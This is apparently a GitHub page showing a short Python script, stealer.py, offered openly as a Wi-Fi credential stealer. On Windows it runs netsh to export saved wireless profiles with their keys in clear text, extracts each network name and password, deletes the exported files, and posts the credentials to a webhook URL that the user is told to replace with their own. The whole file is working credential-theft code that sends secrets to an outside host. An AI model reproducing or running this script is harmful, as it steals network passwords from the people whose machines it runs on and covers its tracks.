-
Notifications
You must be signed in to change notification settings - Fork 0
/
stealer.py
38 lines (30 loc) · 1.19 KB
/
stealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import subprocess, os, sys, requests, xmltodict
# Replace with your webhook
url = 'https://webhook.site/5f0cd56c-2762-4a74-88fd-5c362dbfff9c'
payload = {"Pwnd": []}
# Use Python to execute Windows command
command_output = subprocess.run(["netsh", "wlan", "export", "profile", "key=clear"],
capture_output=True).stdout.decode()
print(command_output)
# Grab current directory
path = os.getcwd()
# Append Wi-Fi XML files to wifi_files list
for filename in os.listdir(path):
if filename.startswith("Wi-Fi") and filename.endswith(".xml"):
xml_content = open(filename,'rb')
as_dict = xmltodict.parse(xml_content)
xml_content.close()
try:
payload['Pwnd'].append("%s:%s"% (as_dict['WLANProfile']['name'],as_dict['WLANProfile']['MSM']['security']['sharedKey']['keyMaterial']))
except:
pass
os.remove(filename)
if len(payload["Pwnd"]) >= 1:
print("Wi-Fi profiles found. Check your webhook")
else:
print("No Wi-Fi profiles found. Exiting...")
sys.exit()
final_payload = ''
for ssid in payload['Pwnd']:
final_payload += '%s; \n' % ssid
r = requests.post(url, params="format=json", data=final_payload)